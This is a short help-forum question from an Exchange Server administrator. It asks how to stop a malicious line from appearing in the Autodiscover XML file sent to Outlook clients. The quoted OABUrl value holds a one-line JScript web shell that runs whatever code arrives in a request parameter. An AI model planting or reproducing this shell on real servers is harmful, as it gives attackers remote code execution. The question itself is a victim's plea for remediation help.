Stop infected code from being injected into the Autodiscover XML file

Question

How do I stop my Exchange Server from generating this infected line of code in the Autodiscover XML file sent to the Outlook clients.

<OABUrl>http://ffff/#<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["QdErxv"],"unsafe");}</script>/OAB/567f4dda-6b22-2134-94b2-c8423978b987/</OABUrl>